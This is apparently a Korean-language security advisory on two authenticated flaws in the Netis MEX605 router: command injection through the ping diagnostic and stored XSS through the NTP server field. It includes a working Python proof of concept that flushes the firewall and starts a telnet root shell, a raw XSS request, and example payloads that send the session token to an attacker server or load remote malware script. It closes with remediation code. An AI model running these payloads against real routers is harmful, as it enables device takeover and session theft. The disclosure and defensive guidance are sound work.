요약
본 연구는 Netis MEX605 라우터(펌웨어 v2.00.05)에서 발견된 두 가지 취약점을 문서화한다. 두 취약점 모두 불충분한 입력 검증에서 비롯되며, 인증된 공격자가 임의 명령 실행 및 세션 토큰 탈취를 달성하는 데 악용될 수 있다. 취약점은 192.168.1.1을 통해 접근하는 라우터의 웹 기반 관리 인터페이스에 영향을 미친다.
취약점 #1: ping 진단 도구를 통한 OS 커맨드 인젝션
대상
- 장치: Netis MEX605 라우터
- 펌웨어 버전: 2.00.05
- 취약점 유형: OS 커맨드 인젝션 (CWE-78)
개요
Netis MEX605 라우터의 진단 ping 유틸리티가 IP 주소 및 도메인 이름에 대한 사용자 입력을 적절히 처리하지 않는다. 이를 통해 인증된 공격자가 웹 서버 프로세스의 권한으로 실행되는 임의의 셸 명령을 주입할 수 있다. 취약한 기능은 라우터 웹 인터페이스의 고급 설정 → 진단 메뉴를 통해 노출된다.
근본 원인 분석
취약점은 여러 레이어에 걸친 불충분한 입력 검증에서 비롯된다.
프론트엔드 (/www/js/diagnosis.js, 9번째 줄):
diagnostic_start: function() {
var me = this;
var obj = me.setPingData(); // [1] 사용자 입력 수집
if(obj == false) {
return false;
}
if(obj.command == "ping") {
var t1 = {"jsonrpc": "2.0", "id": 20, "method": "call",
"params": [localStorage.getItem('token_id'),
"network_tools", "tools_ping", obj]}; // [2] 검증되지 않은 obj 전달
}
t1 = JSON.stringify(t1);
$("#diagnosis_form").attr("command", obj);
request({
url: "/ubus",
data: t1 // [3] 백엔드로 전송
}).done(function(data) {
if(data.result != 0) {
$("#log-cnt").val(base64decode(data.result[1]["result_buf"]));
}
});
}백엔드 (/www/cgi-bin/network_tools, 42번째 줄):
function ping_start() {
ping_end
ping $1 -c $2 -s $3 > /tmp/ping.txt& # [4] 직접 명령 치환
}핵심 문제는 사용자 공급 입력을 포함한 obj 파라미터가 필터링 없이 백엔드로 전달되고, 이후 적절한 이스케이프 없이 셸 명령 컨텍스트에서 사용된다는 것이다.
익스플로잇
인증된 공격자는 ping URL 파라미터에 셸 메타문자(백틱, 세미콜론, 파이프)를 주입하여 임의의 명령을 실행할 수 있다.
개념 증명(PoC):
import requests
import json
url = 'http://192.168.1.1/ubus'
session = requests.Session()
# 1단계: 인증
login_data = {
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
"00000000000000000000000000000000",
"session",
"login",
{"username": "admin", "password": "Coresec2011@"}
]
}
response = session.post(url, data=json.dumps(login_data))
sess = json.loads(response.text)
session_token = sess["result"][1]['ubus_rpc_session']
# 2단계: ping 인젝션을 통한 임의 명령 실행
ping_data = {
"jsonrpc": "2.0",
"id": 20,
"method": "call",
"params": [
session_token,
"network_tools",
"tools_ping",
{
"command": "ping",
"url": "192.168.1.1`iptables -F;/usr/sbin/telnetd -l /bin/sh`",
"count": 5,
"size": 64,
"action": "start"
}
]
}
response = session.post(url, data=json.dumps(ping_data))
print(response.text)이 예시에서 주입된 명령 iptables -F;/usr/sbin/telnetd -l /bin/sh가 웹 서버의 권한으로 실행된다. 백틱 구문은 ping 호출 내에서도 명령 치환이 발생하도록 보장한다.
영향
- 임의 명령 실행: 인증된 공격자가 웹 서버 프로세스에서 사용 가능한 모든 명령을 실행할 수 있는 능력을 획득한다
- 시스템 침해: 명령을 통해 다음이 가능하다:
- 방화벽 규칙 비활성화 (
iptables -F) - 무단 서비스 시작 (예: 텔넷 데몬)
- 라우터 구성 수정
- 민감한 데이터 탈취
- 내부 네트워크 장치로의 피벗
- 방화벽 규칙 비활성화 (
- 심각도: 심각 (인증이 필요하지만 전체 시스템 침해로 이어짐)
취약점 #2: NTP 서버 설정의 DOM 기반 XSS
대상
- 장치: Netis MEX605 라우터
- 펌웨어 버전: 2.00.05
- 취약점 유형: 크로스 사이트 스크립팅 - DOM 기반 (CWE-79)
개요
Netis MEX605 라우터의 시간 설정 구성 페이지가 NTP 서버 도메인 이름을 적절히 처리하지 않는다. 이를 통해 인증된 공격자가 라우터 웹 인터페이스의 컨텍스트에서 실행되는 임의의 JavaScript 코드를 주입할 수 있으며, 잠재적으로 세션 토큰 탈취 및 추가 공격으로 이어질 수 있다.
근본 원인 분석
취약점은 처리되지 않은 입력을 처리하는 여러 컴포넌트가 함께 작동하여 발생한다.
구성 저장소 (/etc/config/system):
config timeserver 'ntp'
option enable_server '0'
option enabled '1'
list server '0.openwrt.pool.ntp.org"<script>alert(localStorage.getItem("token_id"))</script>'
list server '1.openwrt.pool.ntp.org'
list server '2.openwrt.pool.ntp.org'
list server '3.openwrt.pool.ntp.org'프론트엔드 입력 핸들러 (/www/js/timeSetting.js, 180번째 줄):
function submitNTP() {
var eb = $(':radio[name="get_time_mode0"]:checked').val();
var server = []
if(eb == 1) { // NTP 모드 선택
for(var i = 0; i < 4; i++) {
var a = $(".editInput").eq(i).val();
if(a) {
server.push(a); // 검증되지 않은 입력 수집
}
}
if(server.length > 0 && server.length != 4) {
return;
}
var set3 = {"jsonrpc": "2.0", "id": 19, "method": "call",
"params": [localStorage.getItem('token_id'),
"uci", "set",
{"config": "system", "type": "timeserver",
"values": {"server": server, "enabled": eb}}]}; // [3] 서버 배열 전송
set3 = JSON.stringify(set3);
$.when(setDataFn(set1), setDataFn(set3)).then(function(data1, data) {
data1 = JSON.stringify(data1);
data1 = eval("(" + data1 + ")"); // 위험한 eval 사용
data = JSON.stringify(data);
data = eval("(" + data + ")"); // [4] 또 다른 안전하지 않은 eval
});
}
}프론트엔드 데이터 조회 (/www/js/timeSetting.js, 101번째 줄):
function getTimeZone() {
var a1 = '{"jsonrpc": "2.0", "id": 18, "method": "call",
"params": ["' + localStorage.getItem('token_id') +
'", "uci", "get", {"config": "system"}]}'
request({
url: "/ubus",
data: a1
}).done(function(data) {
data = JSON.stringify(data);
data = eval("(" + data + ")"); // [5] 조회된 설정에 대한 안전하지 않은 eval
if(check_data(data)) {
handleTable(data.result[1].values.ntp.server); // DOM에 데이터 렌더링
change_get_time_mode(data.result[1].values.ntp.enabled);
$("#time_zone_sel").val(data.result[1].values.cfg01e48a.timezone);
}
});
}취약한 DOM 렌더링:
<td>
<input class="f-border editInput" onblur="changeInput(this)"
value="0.openwrt.pool.ntp.org"">
<script>alert(localStorage.getItem("token_id"))</script>> <!-- [6] 주입된 스크립트 실행 -->
</td>핵심 문제는 다음과 같다:
- NTP 서버 도메인 이름에 대한 입력 검증 없음
- JSON 응답 파싱에
eval()사용 (매우 위험) - 처리 없이 구성에서 조회된 데이터를 DOM에 직접 삽입
- HTML 컨텍스트에서 사용자 공급 데이터를 렌더링할 때 출력 인코딩 부재
익스플로잇
XSS 페이로드를 주입하는 HTTP 요청:
POST /ubus HTTP/1.1
Host: 192.168.1.1
Content-Length: 275
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.1
Referer: http://192.168.1.1/timeSetting.html
Connection: close
{"jsonrpc":"2.0","id":19,"method":"call",
"params":["SESSION_TOKEN","uci","set",
{"config":"system","type":"timeserver",
"values":{"server":["\"<script>alert(localStorage.getItem('token_id'))</script>",
"1.openwrt.pool.ntp.org",
"2.openwrt.pool.ntp.org",
"3.openwrt.pool.ntp.org"],
"enabled":"1"}}]}응답:
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 38
{"jsonrpc":"2.0","id":19,"result":[0]}이 요청 후, 관리자가 시간 설정 페이지를 다시 방문하면 주입된 JavaScript 페이로드가 브라우저 컨텍스트에서 실행된다. 이를 통해 공격자는 다음을 할 수 있다:
- 세션 토큰 탈취:
localStorage.getItem('token_id') - 권한 상승: 탈취한 토큰을 추가 공격에 활용
- 라우터 구성 수정: 관리자 모르게
- 네트워크 정찰 수행: 라우터의 관점에서
공격 시나리오
시나리오 1: 세션 토큰 탈취
// NTP 구성에 저장되는 페이로드
'"<img src=x onerror="fetch(`/attacker-server/steal?token=${localStorage.getItem('token_id')}`)">'
// 관리자가 시간 설정을 로드할 때:
// - 스크립트가 실행됨
// - 공격자가 관리자의 세션 토큰을 수신함
// - 공격자가 관리자를 사칭할 수 있음시나리오 2: 악성 스크립트 배포
// 페이로드가 악성 스크립트를 주입
'"<script src="http://attacker-server/malware.js"></script>"'
// 악성코드가 가능한 것:
// - DNS 설정 수정
// - 광고 삽입
// - 트래픽 캡처
// - 랜섬웨어 배포영향
- 세션 하이재킹: 관리자 자격 증명/토큰 탈취
- 구성 조작: 라우터 설정을 악의적으로 수정
- 네트워크 침해: 트래픽 리디렉션, MITM 공격 수행
- 악성코드 배포: 악성 스크립트 또는 페이로드 주입
- 심각도: 심각 (인증이 필요하지만 완전한 침해로 이어짐)
기술적 비교
| 측면 | 커맨드 인젝션 | XSS |
|---|---|---|
| 공격 벡터 | ping URL 파라미터 | NTP 서버 도메인 |
| 실행 컨텍스트 | 운영 체제 셸 | 브라우저/DOM |
| 필요 권한 | 라우터 관리자 인증 | 라우터 관리자 인증 |
| 즉각적 영향 | OS 명령 실행 | 브라우저 내 JavaScript 실행 |
| 침해 범위 | 전체 라우터 시스템 | 관리자 세션 및 구성 |
| 탐지 난이도 | 중간 (로그에 나타날 수 있음) | 높음 (저장된 페이로드, 명확한 흔적 없음) |
권고 사항
사용자를 위한 조치
- 펌웨어 업그레이드: 최신 가용 펌웨어 버전으로 업데이트
- 접근 제한: 라우터 관리 인터페이스 접근을 신뢰할 수 있는 네트워크로만 제한
- 강력한 자격 증명: 라우터 관리를 위한 복잡하고 고유한 비밀번호 사용
- 로그 모니터링: 의심스러운 활동에 대한 라우터 로그 정기 확인
제조사(Netis)를 위한 조치
- 입력 검증: 다음에 대한 엄격한 화이트리스트 검증 구현:
- IP 주소 및 도메인 이름
- 숫자 파라미터 (ping 횟수, 패킷 크기)
- 출력 인코딩: HTML에 렌더링하기 전 모든 사용자 공급 데이터를 적절히 인코딩
- eval() 사용 금지: 모든
eval()호출을 안전한 JSON 파싱으로 교체 (예:JSON.parse()) - 보안 검토: 웹 인터페이스에 대한 포괄적인 보안 감사 수행
- 업데이트 주기: 정기적인 보안 업데이트 일정 수립
- 파라미터화된 명령: 직접 명령 치환 대신 언어별 안전한 API 사용
코드 수정 예시
커맨드 인젝션 수정:
# 셸 인젝션 방지를 위한 배열 구문 사용
function ping_start() {
local target="$1"
local count="$2"
local size="$3"
# 입력 검증
if ! [[ "$target" =~ ^[0-9a-zA-Z.\-]+$ ]]; then
echo "유효하지 않은 대상" >&2
return 1
fi
if ! [[ "$count" =~ ^[0-9]+$ ]]; then
echo "유효하지 않은 횟수" >&2
return 1
fi
ping_end
ping "$target" -c "$count" -s "$size" > /tmp/ping.txt&
}XSS 수정:
// innerHTML 대신 textContent 사용
function handleTable(servers) {
servers.forEach(function(server) {
// 서버 문자열 검증
if(!/^[a-zA-Z0-9.\-]+$/.test(server)) {
console.error("유효하지 않은 서버 호스트명");
return;
}
var td = document.createElement('td');
var input = document.createElement('input');
// innerHTML 대신 textContent 사용
input.textContent = server;
input.className = 'f-border editInput';
td.appendChild(input);
});
}
// eval() 대신 JSON.parse() 사용
request({
url: "/ubus",
data: a1
}).done(function(data) {
try {
var parsed = JSON.parse(JSON.stringify(data));
if(check_data(parsed)) {
handleTable(parsed.result[1].values.ntp.server);
}
} catch(e) {
console.error("JSON 파싱 실패:", e);
}
});결론
Netis MEX605 라우터는 인증된 공격자가 임의의 명령 실행과 세션 하이재킹을 달성할 수 있는 심각한 보안 취약점을 포함하고 있다. 두 취약점 모두 근본적인 보안 코딩 부재에서 비롯된다:
- 애플리케이션 경계에서의 불충분한 입력 검증
- 신뢰할 수 없는 데이터 렌더링 시 출력 인코딩 부재
- 데이터 처리에
eval()위험한 사용 - 파라미터화 없이 직접 셸 명령 구성
이 취약점들은 임베디드 IoT 장치에서 보안 중심 개발 실천의 중요성을 보여준다. 소비자용 네트워크 장비의 펌웨어도 입력 검증, 출력 인코딩, 위험한 언어 기능 회피를 포함한 보안 코딩 원칙을 따라야 한다.
참고 자료
- CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 무력화
- CWE-79: 웹 페이지 생성 중 입력의 부적절한 무력화 ('Cross-site Scripting')
- OWASP Top 10 - A03:2021 인젝션
- OWASP Top 10 - A07:2021 크로스 사이트 스크립팅 (XSS)
발견 정보
발견자: CoreSecurity OT Research Team
장치: Netis MEX605 라우터
펌웨어 버전: 2.00.05
발견 연도: 2021
본 연구는 교육 및 방어적 보안 목적으로 제공된다. 컴퓨터 시스템에 대한 무단 접근은 불법이다.
